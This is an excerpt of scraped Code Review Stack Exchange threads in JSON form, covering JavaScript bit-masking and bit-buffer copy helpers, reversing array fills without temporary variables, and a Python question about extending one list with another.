0b01000000 // The bit mask has a 1 at bit 6\nmaskB = 0b1 << idx // Can also create mask by shifting the first bit 6 positions left\nmaskC = 64 // in decimal\n// 0b11101101 0b11101101 0b11101101 0b11101101 \n// & 0b01000000 0b00100000 0b00010000 0b00001000 // Mask bit 6 to 3 using Bitwise AND\n// ------------------------------------------------\n// = 0b01000000 0b00100000 0b00000000 0b00001000\n\n// as boolean\nisBit6On = (bin & maskA) !== 0 // is true in this case. NOTE the () around bitwise AND operation \nisBit6On = (bin & maskB) !== 0 // using the calculated mask\nisBit6On = (bin & 0b1 << idx) !== 0 // calculating the mask just in time\nisBit6On = (bin & 1 << idx) !== 0 // Note 1 and 0b1 are equivilant\n\n// as number 0 or 1\nbitValue = 0b11101101 & 0b01000000 ? 1 : 0 // ternary\nbitValue - (237 & 64) === 0 ? 0 : 1\nbitValue = ~~(bin & maskA); // Not Not operation \n*/</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<ul>\n<li>Note that bitwise operations have a lower <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#table\" rel=\"nofollow noreferrer\" title=\"MDN Operator Precedence page 'Precedence table'\">Precedence</a>\nthan equality <code>==</code>, <code>===</code> and inequality operators <code>!=</code>, <code>!==</code> and thus need the brackets <code>()</code></li>\n</ul>\n<h3>Mask to clear.</h3>\n<p>We use a mask to clear a bit by inverting the bits of the mask used to get a bit</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>/* \nbin = 0b11101101 // random bit field\nbit = 6\nbitMask = 0b01000000 // bit 6\nmaskOut = 0b10111111 // clear mask for bit 6\nmaskOut = 191 // Decimal 255 - 64\nmaskOut = 0b11111111 ^ bitMask // Calculating clear mask from bit mask using XOR\nmaskOut = 1 << bit ^ 0b11111111 // calculated from bit index\n\n// 0b11101101\n// & 0b10111111 // bitwize AND with clear mask\n// = 0b10101101 // bit 6 is now zero\n\nbit6Cleared = bin & maskOut\nbit6Cleared = bin & (bitMask ^ 0b11111111) // calculate mask out from bit mask just in time\n*/</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<h3>Masks to set a bit</h3>\n<p>To set a bit we first clear the bit we want to set, then we set the bit the value we want by shifting the value to the correct bit position and ORing that value with the masked out bits.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>/* \nbin = 0b10101101 // random bit field\nbit = 6 // bit to set\nbitValue = 1 // Value to set bit to can be 0 or 1\nmaskOut = 0b10111111 // clear mask for bit 6\n\nresult = bin & maskOut | bitValue << bit // remove bit 6 and add bit value using OR\nresult = bin & 1 << bit ^ 0b11111111 | bitValue << bit // Calculating masks just in time\n\n\n// 0b11101101\n// & 0b10111111 // clear mask\n// ----------\n// 0b10101101 // bit 6 is now zero\n//\n// 0b1 // value to set\n// << 6 \n// 0b00000010 // sifted 1 \n// 0b00000100 // sifted 2 \n// 0b00001000 // sifted 3 \n// 0b00010000 // sifted 4 \n// 0b00100000 // sifted 5 \n// 0b01000000 // sifted 6\n//\n// 0b10101101 // Cleared bit 6\n// | 0b01000000 // OR with value shifted to bit pos\n// = 0b11101101 // result\n\n\n*/</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-14T07:59:54.387",
"Id": "502312",
"Score": "0",
"body": "I am definitely not familiar with binary, I am learning it as I go haha :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-14T08:07:18.293",
"Id": "502313",
"Score": "0",
"body": "Is for example looping through an integer to clear bits the best way to do it? Would some bit manipulation magic to [clear a range of bits](https://codereview.stackexchange.com/a/245041/168199) work better or no?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-14T08:18:58.700",
"Id": "502316",
"Score": "1",
"body": "@LancePollard It depends on how you read and write to the buffers. This is a general random access stream solution and assumes you are doing many small read and writes to random locations.. If you are doing a sequential read and write you would just buffer read and writes calls, only moving bytes (best uint32) when you get to byte boundaries."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-15T07:47:02.580",
"Id": "502395",
"Score": "0",
"body": "Can you describe how/why you got `mask` and `maskOut`? Why do they have the values they do? And what do you mean by \"create bit order\" exactly? Where/when else would that function come in handy?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-15T15:11:24.450",
"Id": "502435",
"Score": "0",
"body": "@LancePollard I have updated answer with a draft version. I am short on time so will need to come back and edit it some time over the weekend if I can."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-15T23:25:44.493",
"Id": "502481",
"Score": "0",
"body": "Finally, this goes through one bit at a time to change stuff up. What if I have an encoding that has 2 bit item here, 4 bit item, 8 bit item there, 1024 bit item there, 2 bit item, etc. Is this still the best approach or what optimizations could be made?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-16T00:25:55.233",
"Id": "502482",
"Score": "0",
"body": "Follow up [question](https://stackoverflow.com/questions/65745260/how-to-optimize-a-bit-stream-to-work-on-chunks-of-input-in-javascript) :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-16T05:09:59.770",
"Id": "502488",
"Score": "0",
"body": "@LancePollard You can have words any size 2,3,4..., n Bits, The issue is when the read and write offset dont match and you cross the int8, int16, or int32 boundaries. If you ensured that read and write position are always at a multiple of the word size, (eg 4 bits only ever read and written to bit 0, 4, 8, 12, 16...etc ) then you can make it very fast. Without knowing what you are doing its hard to know what can be done to be the most efficient."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-14T07:58:17.553",
"Id": "254692",
"ParentId": "249837",
"Score": "6"
}
},
{
"body": "<h2>Helper Functions</h2>\n<p>I see that you've already asked a separate question for the helper functions <a href=\"/q/245027\">here</a>, and others have already done a fine job answering it, so I won't add anything to it here. The rewrite I came up with will use a variation of the helper functions that operate directly on the byte array as defined below - this isn't necessary, but I felt these versions helped in this particular scenario.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>const createMask = (size, rightIndex = 0) => (1 << size) - 1 << rightIndex\n\nconst getBitsFromByte = (byteArray, bitIndex, count) => {\n const byteIndex = Math.floor(bitIndex / 8)\n const rightPad = 8 - count - bitIndex % 8\n const mask = createMask(count, rightPad)\n return (byteArray[byteIndex] & mask) >>> rightPad\n}\n\nconst setBitsInByte = (byteArray, bitIndex, data, bitsInData) => {\n const byteIndex = Math.floor(bitIndex / 8)\n const rightPad = 8 - bitsInData - bitIndex % 8\n byteArray[byteIndex] &= ~createMask(bitsInData, rightPad)\n byteArray[byteIndex] |= data << rightPad\n}\n</code></pre>\n<h2>buf_set()</h2>\n<p>It looks like you still have some bugs to iron out with this function, some of which might stem from logical misunderstandings. <code>buf_set()</code> is supposed to take an unsigned byte as input and insert it into the buffer. Your current implementation doesn't allow me to set a byte with leading zeros. Lets take the byte <code>00011000</code> as an example, which is technically equal to <code>11000</code>. Your implementation tries to count the number of bits in the byte by finding the left-most bit that is set. In this example, it would think that I'm only trying to pass in 5 bits. Then, it tries to right-fill the data with zeros to fill the byte, resulting in <code>11000000</code> getting set. The only proper way to implement this function is to assume that a full byte is being passed in every time. If someone passes in <code>0b11</code>, they're really passing in <code>0b00000011</code>, a full byte (<code>0b11 === 0b00000011</code>).</p>\n<p>There's also a lot of logic repeated inside the <code>if</code> and outside. This function can be greatly simplified by refactoring out these common parts into a helper function. In fact - that's exactly why I chose to modify the helper functions a bit - the <code>setBitsInByte()</code> helper function is what you get after pulling out the common parts of <code>buf_set()</code>. The final solution is a lot cleaner:</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>function buf_set(byteArray, bitIndex, byteToWrite) {\n const byteOffset = bitIndex % 8\n setBitsInByte(byteArray, bitIndex, byteToWrite >>> byteOffset, 8 - byteOffset)\n if (byteOffset !== 0) {\n setBitsInByte(byteArray, bitIndex + (8 - byteOffset), byteToWrite & createMask(byteOffset), byteOffset)\n }\n}\n</code></pre>\n<h2>buf_get()</h2>\n<p>This function has some bugs in it too. This particular issue can be seen in your test case too, so at least one of us is not understanding the requirements to this function ...</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>const f7 = new Uint8Array(16)\nf7[0] = 0b10111001\nconst f8 = new Uint8Array(16)\nbuf_get(f7, 2, 2, f8, 0) // <-- This specifies that you are only going to override 2 bits at index 0 of f8\nassertBuffer(f8, 0, '11') // <-- 11 is equivalent to 00000011, which means you wrote\n // to the last two bits instead (at index 6, not index 0).\n</code></pre>\n<p>Some general cleanup would be good too:</p>\n<ul>\n<li><code>buf_get()</code> is not a great name - what you're really doing is copying bits, not retrieving them, so maybe call it <code>buf_copy()</code>.</li>\n<li>Your <code>i</code> variable is unused.</li>\n<li>You do not use <code>var</code> and <code>let</code> in a consistent way. It seems you prefer <code>let</code>, so change the <code>var</code> to <code>let</code>.</li>\n<li>You'll notice a lot of your logic inside of the <code>if (strange)</code> condition is similar to what's out outside of it. If you're tactful, you can get rid of the <code>if (strange)</code> condition entirely and make the rest of the logic in the loop do both jobs.</li>\n</ul>\n<p>Unless the byte boundaries between the src and dest buffers line up, you're not going to be able to copy any faster than half a byte at a time. i.e. byte 7's right half in the src array to byte 14's left half in the dest array, then byte 8's left half to byte 14's right half, then byte 8's right half to byte 15's left half, and so on. The following solution will copy in this fashion (as your original solution was doing too - I think).</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>function buf_copy(srcByteArray, srcBitIndex, bitsToCopy, destByteArray, destBitIndex) {\n const [smallerOffset, biggerOffset] = [srcBitIndex % 8, destBitIndex % 8].sort()\n const chunkSizeLookup = {\n 0: 8 - (biggerOffset - smallerOffset),\n 1: biggerOffset - smallerOffset || 8,\n initial: 8 - biggerOffset || 8\n }\n let bitsCopied = 0;\n for (let i = 0; bitsCopied < bitsToCopy; ++i) {\n const chunkSize = Math.min(chunkSizeLookup[i === 0 ? 'initial' : i % 2], bitsToCopy - bitsCopied)\n const data = getBitsFromByte(srcByteArray, srcBitIndex + bitsCopied, chunkSize)\n setBitsInByte(destByteArray, destBitIndex + bitsCopied, data, chunkSize)\n bitsCopied += chunkSize\n }\n}\n</code></pre>\n<p>On the first iteration, we need to copy enough bits over to bring us to a byte boundary (the "initial" in the <code>chunkSizeLookup</code> is the initial number of bits being copied). From there on out we're just alternating between two different jump sizes to bring us from one byte-boundary to the next. The <code>|| 8</code> is used where the <code>chunkSizeLookup</code> logic is done to make sure we never try to do an iteration with a chunk-size of 0, a waste of time.</p>\n<h2>Optimization</h2>\n<p>While I tried to make these function performant, I didn't go overboard. I focused a little more on code quality and correctness. Further micro-optimizations can be done if those examples aren't fast enough, but some optimizations depend on what you're optimizing for. For example, in <code>buf_copy()</code>, are you expecting that it'll only get called a handful of times, but with the intention of copying large amounts of data? Then do what you can to move stuff out of the loop, even if it makes the code before the loop a little extra expensive to run. The opposite would be true if we're trying to optimize for lots of calls that only expect to copy one or two bytes.</p>\n<p>Below are some general ideas of how you can micro-optimize it - but please don't actually do these things unless it's needed, as these suggestions can really ruin the readability of the code without making it a whole lot faster. It also isn't uncommon for someone to try to optimize something that the runtime was already optimizing in a better way, causing their code to be both slower and unreadable. This is one reason why it's always important to benchmark when trying to make performant code. This, among other reasons, is also why simply counting the number of operations isn't the best metric for how fast a function will run.</p>\n<p>Potential micro-optimizations:</p>\n<ul>\n<li><code>Math.floor(bitIndex / 8)</code> can be replaced with <code>bitIndex >>> 3</code>.</li>\n<li>Inline the helper functions. Function calls are actually relatively expensive, and there's a little bit of repeated logic going on inside the helper functions that can be optimized out if they are inlined.</li>\n<li>Replace <code>Math.min(a, b)</code> with <code>a < b ? a : b</code>. The user of <code>.sort()</code> can have a similar optimization done.</li>\n<li>Is it common for byte-boundaries to line up when calling <code>buf_copy()</code> (meaning <code>srcBitIndex % 8 === destBitIndex % 8</code>)? If you really want to, you could copy-paste the <code>for</code> loop, optimize it for this special case (there's a little logic in the loop that's not needed in this special case), and use this loop instead when the byte-boundaries do line up. But ... don't actually do this.</li>\n<li>etc</li>\n</ul>\n<h2>All together</h2>\n<p>A complete example:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const createMask = (size, rightIndex = 0) => (1 << size) - 1 << rightIndex\n\nconst getBitsFromByte = (byteArray, bitIndex, count) => {\n const byteIndex = Math.floor(bitIndex / 8)\n const rightPad = 8 - count - bitIndex % 8\n const mask = createMask(count, rightPad)\n return (byteArray[byteIndex] & mask) >>> rightPad\n}\n\nconst setBitsInByte = (byteArray, bitIndex, data, bitsInData) => {\n const byteIndex = Math.floor(bitIndex / 8)\n const rightPad = 8 - bitsInData - bitIndex % 8\n byteArray[byteIndex] &= ~createMask(bitsInData, rightPad)\n byteArray[byteIndex] |= data << rightPad\n}\n\nfunction buf_copy(srcByteArray, srcBitIndex, bitsToCopy, destByteArray, destBitIndex) {\n const [smallerOffset, biggerOffset] = [srcBitIndex % 8, destBitIndex % 8].sort()\n const chunkSizeLookup = {\n 0: 8 - (biggerOffset - smallerOffset),\n 1: biggerOffset - smallerOffset || 8,\n initial: 8 - biggerOffset || 8\n }\n let bitsCopied = 0;\n for (let i = 0; bitsCopied < bitsToCopy; ++i) {\n const chunkSize = Math.min(chunkSizeLookup[i === 0 ? 'initial' : i % 2], bitsToCopy - bitsCopied)\n const data = getBitsFromByte(srcByteArray, srcBitIndex + bitsCopied, chunkSize)\n setBitsInByte(destByteArray, destBitIndex + bitsCopied, data, chunkSize)\n bitsCopied += chunkSize\n }\n}\n\nfunction buf_set(byteArray, bitIndex, byteToWrite) {\n const byteOffset = bitIndex % 8\n setBitsInByte(byteArray, bitIndex, byteToWrite >>> byteOffset, 8 - byteOffset)\n if (byteOffset !== 0) {\n setBitsInByte(byteArray, bitIndex + (8 - byteOffset), byteToWrite & createMask(byteOffset), byteOffset)\n }\n}\n\n// EXAMPLE USAGE //\n\nconst format = byte => byte.toString(2).padStart(8, '0')\nconst buffer1 = new Uint8Array(16)\nbuffer1[0] = 0b00011000\nbuffer1[1] = 0b11100111\nbuf_set(buffer1, 4, 0b00110011)\nconsole.log(format(buffer1[0])) // 00010011\nconsole.log(format(buffer1[1])) // 00110111\n\nconst buffer2 = new Uint8Array(16)\nbuf_copy(buffer1, 4, 10, buffer2, 2)\nconsole.log(format(buffer2[0])) // 00001100\nconsole.log(format(buffer2[1])) // 11010000</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-15T04:27:12.700",
"Id": "254728",
"ParentId": "249837",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "254692",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:29:22.693",
"Id": "249837",
"Score": "3",
"Tags": [
"javascript",
"performance",
"algorithm",
"integer",
"binary"
],
"Title": "How to simplify and optimize bitwise get/set operations on a large bit buffer in JavaScript?"
}
|
249837
|
<p>So currently I have this function:</p>
<pre><code>function loadPath(chunkSize, dataSize, depth, index) {
let path = []
let i = 0
while (i < depth) {
path.unshift(index % chunkSize)
index = Math.floor(index / chunkSize)
i++
}
return path
}
</code></pre>
<p>I would now like to pass in <code>path</code> as a variable from an object pool of short path arrays. So for example:</p>
<pre><code>function loadPath(path, chunkSize, dataSize, depth, index) {
}
let path = new Array(3)
loadPath(path, 5, 100, 3, 41)
console.log(path) // 1, 3, 1
loadPath(path, 5, 100, 3, 50)
console.log(path) // ...
</code></pre>
<p>The question is, how can I do that without using push/unshift or reverse operations on the array? Basically just treating the array as a static block of memory, while at the same time not adding any unnecessary operations.</p>
<pre><code>function loadPath(path, chunkSize, dataSize, depth, index) {
let i = 0
let x = depth - 1
while (i < depth) {
path[x] = index % chunkSize
index = Math.floor(index / chunkSize)
i++
x--
}
}
</code></pre>
<p>My question is, can this be done with any fewer temp variables? Some magic along the lines of this?</p>
<pre><code>function loadPath(path, chunkSize, dataSize, depth, index) {
let i = 0
while (i < depth) {
// something tricky perhaps here?
// since x and i have a reciprocal relationship...
// somehow fill it in backwards...
path[depth - i] = index % chunkSize
index = Math.floor(index / chunkSize)
i++
}
}
</code></pre>
<p>Or perhaps there is another way entirely to write this algorithm to be in as few steps and operations and temp variables as possible.</p>
<p>Could also use this <a href="https://codegolf.stackexchange.com/questions/289/shortest-floor-function"><code>floor</code> implementation</a> integrated somehow if it helps :)</p>
<pre><code>function floor(n) {
return ~~n - (~~n > n)
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:19:15.280",
"Id": "489901",
"Score": "0",
"body": "Your title short be short and concise while explaining what your code does."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:44:40.740",
"Id": "489913",
"Score": "0",
"body": "You should be able to calculate the number of loops you need to do, so you can create an empty array of that size and fill it backwards. If I'm not mistaken it should be `Math.log(chunkSize) / Math.log(index)` (rounded up)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:08:08.203",
"Id": "489923",
"Score": "0",
"body": "Would you consider using `concat`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:18:15.543",
"Id": "489927",
"Score": "0",
"body": "How about: `path[depth - i - 1] = index % chunkSize` - no need for `x`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:20:25.790",
"Id": "489929",
"Score": "0",
"body": "What is this mysterious `index` and what is/why are you not using `dataSize`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:25:07.763",
"Id": "489933",
"Score": "0",
"body": "This is kind of a duplicate question...\nThe same answer from your previous similar question:\n`function recBucket(number, size) {\n if(number<size) return [number];\n else {\n var whole=Math.floor(number/size);\n return [recBucket(whole, size), number-whole*size].flat();\n }\n};`\nUse: `recBucket(index, chunkSize)`.\nAnswer: https://codereview.stackexchange.com/a/249779/227994\nQuestion: https://codereview.stackexchange.com/questions/249526/algorithm-to-find-bucket-and-item-indices-from-power-of-two-bins"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T15:32:26.690",
"Id": "489942",
"Score": "0",
"body": "If `chunkSize` is less than 11, `41` in your example, you can use: `(41).toString(5).split(\"\")`..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:02:21.863",
"Id": "489944",
"Score": "0",
"body": "@iAmOren I'm not a fan of the string hacky solutions tbh, converting to string and splitting and such, I like to keep it pure as possible haha."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:02:36.980",
"Id": "489945",
"Score": "0",
"body": "Does `path[depth - i - 1] = index % chunkSize` work??"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:44:34.623",
"Id": "489963",
"Score": "0",
"body": "Seems to wotk:\n`depth=3;\npath=Array(depth);\nchunkSize=5;\nindex=41;\nfor(i=0;i<depth;i++) {\n path[depth - i - 1] = index % chunkSize;\n index=Math.floor(index/chunkSize);\n};\nconsole.log(path);`\nreturns `[1, 3, 1]`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T20:05:07.617",
"Id": "489964",
"Score": "0",
"body": "The down side is that you have to declare the Array in advance;\nHow about just adding in order, then reversing the array?\nAdding in order:\n`path=[]; for..... path[path.length]=...`.\nIf you don't want to use `.reverse`, then:\n`depth=3; //path.length\nfor(i=0;i<(depth-1)/2;i++) [a[i], a[depth-i-1]] = [a[depth-i-1], a[i]];`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T20:08:14.117",
"Id": "489965",
"Score": "0",
"body": "Once we figure out what's best for your need, I'll transform that into an answer.\nMeanwhile, can you accept and select my current answer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:29:04.563",
"Id": "489973",
"Score": "0",
"body": "Ok, see my new answer.\nQuestion: What do you want to do if `index` >= `chunkSize`^3?"
}
] |
[
{
"body": "<p>Same <a href=\"https://codereview.stackexchange.com/a/249779/227994\">Answer</a> to your own same/similar <a href=\"https://codereview.stackexchange.com/questions/249526/algorithm-to-find-bucket-and-item-indices-from-power-of-two-bins\">Question</a>...<br />\nHint: accept and up-vote both... :)</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function recBucket(number, size) {\n if(number<size) return [number];\n else {\n var whole=Math.floor(number/size);\n return [recBucket(whole, size), number-whole*size].flat();\n }\n};\n\nfunction loadPath(chunkSize, dataSize, depth, index) {\n return recBucket(index, chunkSize);\n};\n\nconsole.log(loadPath(5, 100, 3, 41));\nconsole.log(loadPath(5, 100, 3, 50));</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:04:11.957",
"Id": "489946",
"Score": "0",
"body": "`.flat` feels a feels a bit hacky, just hiding implementation details to make things appear shorter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:18:05.377",
"Id": "489949",
"Score": "0",
"body": "Also recursion is less-than ideal."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:29:54.253",
"Id": "249844",
"ParentId": "249839",
"Score": "0"
}
},
{
"body": "<p>Let's try the other way:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function loadPath(path, chunkSize, dataSize, depth, index) {\n for(var i = 0; i < depth; i++) {\n path[depth - i - 1] = index % chunkSize;\n index = Math.floor(index / chunkSize);\n };\n};\n\nvar path = Array(3);\nconsole.log(\"loadPath(path, 5, 100, 3, 41)\");\nloadPath(path, 5, 100, 3, 41);\nconsole.log(path);\nconsole.log(\"loadPath(path, 5, 100, 3, 50)\");\nloadPath(path, 5, 100, 3, 50);\nconsole.log(path);</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>What do you want to do if <code>index</code> >= <code>chunkSize</code>^3?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:50:12.733",
"Id": "489974",
"Score": "0",
"body": "Thank you for the accept!\nUp-vote, please?!? :)\nStill: What do you want to do if `index` >= `chunkSize`^3?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:03:18.547",
"Id": "489975",
"Score": "0",
"body": "I can handle that outside of the function no problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:06:35.493",
"Id": "489976",
"Score": "0",
"body": "Great!\nThanks for the up-vote.\nI still have no clue as to what you are doing... :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:17:53.333",
"Id": "489978",
"Score": "0",
"body": "I am working on a [vm](https://stackoverflow.com/questions/64071543/if-you-can-build-the-call-stack-on-top-of-a-more-primitive-virtual-machine) and this is an aspect of the memory allocation part."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:46:03.300",
"Id": "489983",
"Score": "0",
"body": "Interesting!\nSo, the `path` will tell which \"floor\", which \"apartment\", and which \"room\" there is data of (up to) `dataSize` part of the data - all pointed to with the assistance of `index`?\nAnd there are up to `chunkSize`^3 such \"rooms\", with maximum storage capacity of `chunkSize`^3 * `dataSize` * `dataSize`'s unit size?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T01:42:19.500",
"Id": "489987",
"Score": "0",
"body": "Haha no not like that, but interesting concept I never thought of that! Basically it's going to chunk arrays into small chunks to optimize memory layout and prevent fragmentation ideally."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:01:23.953",
"Id": "490007",
"Score": "0",
"body": "What do you think of this:\n`path2 = (chunkSize, dataSize, depth, index,\n chunkSize2 = chunkSize * chunkSize,\n p2 = Math.floor(index / chunkSize2),\n p1 = Math.floor((index - p2 * chunkSize2) / chunkSize),\n p0 = index - p2 * chunkSize2 - p1 * chunkSize\n) => [p2 ,p1 ,p0];`\n?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:03:32.497",
"Id": "490008",
"Score": "1",
"body": "Without a declaration for `i` using `var` or `let` a global variable would be created, which won't lead to an error but [typically frowned upon](https://softwareengineering.stackexchange.com/a/148109/244085)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:07:14.337",
"Id": "490010",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ, correct! Fixed.\nWhen I test bits of code I omit the `var`s - this time I forgot to add it - good eye!"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:27:55.063",
"Id": "249864",
"ParentId": "249839",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249864",
"CommentCount": "13",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:08:44.667",
"Id": "249839",
"Score": "3",
"Tags": [
"javascript",
"performance",
"array"
],
"Title": "Insert into array in reverse while iterating forward"
}
|
249839
|
<p>I am learning Python. I have a scenario in my current project to benchmark the following code snippet; by using refactoring to increase the performance. Upon deployment my code will be used on a larger scale.</p>
<p>I'm trying from my side and am also looking for suggestions/guidance from you all. Is there a way to make this code much faster and cleaner with less line of code?</p>
<pre><code>def test(x1, x2):
if x2 is None:
return
elif len(x2) == 1:
x1.append(x2)
return
else:
for i in range(len(x2)):
x1.append(x2[i])
return
l = ['tt', 'yy', 'pp']
test(l, None)
print (l)
test(l, ['hello'])
print(l)
test(l, ['hello', 'world'])
print(l)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:47:50.303",
"Id": "489914",
"Score": "0",
"body": "Could you attempt to rewrite your question a bit? I don't really understand what it is that you want help with. I also don't understand what the purpose of your function is.\n\nWhat performance are you speaking of (memory usage or speed), and how is it relevant to this function? Do you only want suggestions on how to make the algorithm faster?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:07:00.280",
"Id": "489960",
"Score": "2",
"body": "Your code looks very much like an example. Please note that [codereview.se] is the exact opposite of [so] in that regard. On [so], you should *not* post your actual code, you should instead construct a *minimal reproducible example*. Here on [codereview.se], however, you should *not* post incomplete, hypothetical, or example code, but instead your real-world, actual, working code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:08:20.823",
"Id": "489961",
"Score": "2",
"body": "Also, please explain a bit more, what does your code do and what do you want from us? Remember: in a \"real world\" code review, the code review would be held with a specific purpose (improving throughput, reducing memory usage, find security holes, improve readability, etc.) and you would be in the room with us, walking us through your code line-by-line explaining every choice, every variable, every function. On this website, all we have is your question, so you need to make sure that all the information that we would *normally* get during the code review session is part of the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:59:55.923",
"Id": "490016",
"Score": "2",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. As such I have rolled back your latest edit. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
}
] |
[
{
"body": "<p>Use <code>extend()</code> instead of <code>append()</code> to add a list to another list, and use the fact that <code>None</code> and empty lists compare as <code>False</code>, while a non-empty list compares as <code>True</code>, and omit the redundant <code>return</code> statement:</p>\n<pre><code>def test(x1, x2):\n if x2:\n x1.extend(x2)\n</code></pre>\n<p>As for reducing the number of print statements, prepare a list or tuple with your test cases, and handle them all in a single <code>for</code>-loop:</p>\n<pre><code>l = ['tt', 'yy', 'pp']\ntestcases = [\n None,\n ['hello'],\n ['hello', 'world']\n]\n\nfor testcase in testcases:\n test(l, testcase)\n print(l)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T04:45:20.957",
"Id": "489992",
"Score": "0",
"body": "This solution does not capture the `elif`-logic in the original code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T08:24:31.850",
"Id": "489996",
"Score": "0",
"body": "@GZ0 It looks like you're correct, in case of `x2` being a list of one element the original code appends a list instead of just the element. I assume that was not the intention though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T10:51:23.777",
"Id": "490006",
"Score": "0",
"body": "Thanks, @Sliepen. I was looking for a way to write the if-else statements using list comprehension.But didn't find anything in docs,"
},
{
